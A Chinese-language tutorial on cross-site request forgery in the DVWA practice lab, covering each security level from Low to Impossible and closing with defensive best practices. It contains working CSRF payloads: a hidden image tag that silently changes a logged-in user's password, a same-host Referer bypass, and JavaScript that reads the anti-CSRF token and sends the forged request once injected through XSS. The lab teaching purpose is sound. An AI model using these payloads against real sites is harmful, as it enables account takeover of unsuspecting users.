1. CSRF漏洞原理与DVWA靶场环境搭建
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者利用受害者已登录的身份,在受害者不知情的情况下执行非预期的操作。这种攻击之所以能够成功,是因为浏览器会自动携带用户的认证信息(如Cookie)发送请求。
DVWA(Damn Vulnerable Web Application)是一个专门用于安全测试的PHP/MySQL Web应用程序,内置了从低到高不同安全级别的漏洞场景。要搭建DVWA环境,我们需要:
- 安装PHP集成环境(如XAMPP或phpStudy)
- 下载DVWA源码并解压到Web服务器目录
- 配置数据库连接(修改config/config.inc.php文件)
- 访问安装页面完成初始化
注意:DVWA应仅在本地或隔离网络环境中使用,切勿部署在公网环境,否则可能成为攻击入口。
2. Low级别CSRF漏洞分析与利用
2.1 漏洞代码解析
Low级别的密码修改功能没有任何CSRF防护措施,关键代码如下:
php复制if( $pass_new == $pass_conf ) {
$pass_new = md5( $pass_new );
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert);
echo "<pre>Password Changed.</pre>";
}
这段代码仅检查两次输入的新密码是否一致,就直接执行数据库更新操作。攻击者可以构造一个恶意页面诱导已登录用户访问,从而修改其密码。
2.2 攻击实施步骤
-
观察正常修改密码的请求格式:
code复制http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change -
创建恶意HTML文件(evil.html):
html复制<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" style="display:none;"> -
诱使已登录DVWA的用户访问该恶意页面,密码即被悄无声息地修改。
2.3 防御建议
- 添加CSRF Token验证机制
- 检查Referer头(但不可完全依赖)
- 关键操作使用POST而非GET请求
3. Medium级别CSRF防护与绕过
3.1 防护机制分析
Medium级别增加了Referer检查:
php复制if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// 执行密码修改
}
这段代码检查请求是否来自同域名下的页面,理论上可以阻止外部站点的CSRF攻击。
3.2 同域绕过技术
由于DVWA和恶意页面都位于127.0.0.1(同域),攻击依然可行:
- 将evil.html放在phpStudy的www目录下
- 访问http://127.0.0.1/evil.html
- Referer检查通过,密码被修改
实操心得:同域判断仅看协议+域名+端口,不考虑路径差异。因此内部子目录或不同端口的服务都可能成为攻击入口。
4. High级别CSRF防护与高级攻击
4.1 Token验证机制
High级别引入了Anti-CSRF Token:
php复制checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
每次请求生成唯一的Token,服务器验证Token匹配才执行操作。
4.2 动态Token获取技术
虽然Token防护很强,但结合XSS漏洞仍可能突破:
-
使用浏览器控制台获取当前Token:
javascript复制var token = document.getElementsByName("user_token")[0].value; -
构造自动提交的恶意URL:
javascript复制var csrf_url = "http://127.0.0.1/dvwa/vulnerabilities/csrf/?" + "password_new=attacker123&" + "password_conf=attacker123&" + "Change=Change&" + "user_token=" + token; new Image().src = csrf_url; -
通过XSS漏洞注入这段代码,实现自动化攻击。
5. Impossible级别的终极防护
5.1 多重安全机制
Impossible级别采用了最严格的安全措施:
-
必须验证当前密码:
php复制$data = $db->prepare('SELECT password FROM users WHERE user = (:user) AND password = (:password)'); -
使用PDO预处理语句防止SQL注入:
php复制$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); -
Token单次有效且与用户会话绑定:
php复制generateSessionToken(); // 每次请求生成新Token
5.2 安全开发建议
- 关键操作必须验证原始凭证(如当前密码)
- 使用CSRF Token且保证不可预测性
- 采用ORM或预处理语句防止SQL注入
- 敏感操作使用POST请求并验证Content-Type
- 定期更新框架和库以修复已知漏洞
6. CSRF防护最佳实践总结
在实际开发中,完整的CSRF防护应包含以下层面:
-
基础防护:
- 关键操作使用POST请求
- 验证Referer头(辅助手段)
- 添加自定义HTTP头(如X-Requested-With)
-
核心防护:
- 实现CSRF Token机制
- Token与用户会话绑定
- Token单次有效或短有效期
-
深度防护:
- 敏感操作需二次认证(如密码确认)
- 关键操作添加行为验证(如CAPTCHA)
- 实施同源策略和CORS限制
-
监控与响应:
- 记录异常操作日志
- 实现异常行为检测
- 提供快速响应机制
在DVWA的实操过程中,我深刻体会到安全是一个整体工程,不能依赖单一防护措施。真正的安全来自层层防御和持续监控,这也是为什么现代Web框架都内置了多重安全机制的原因。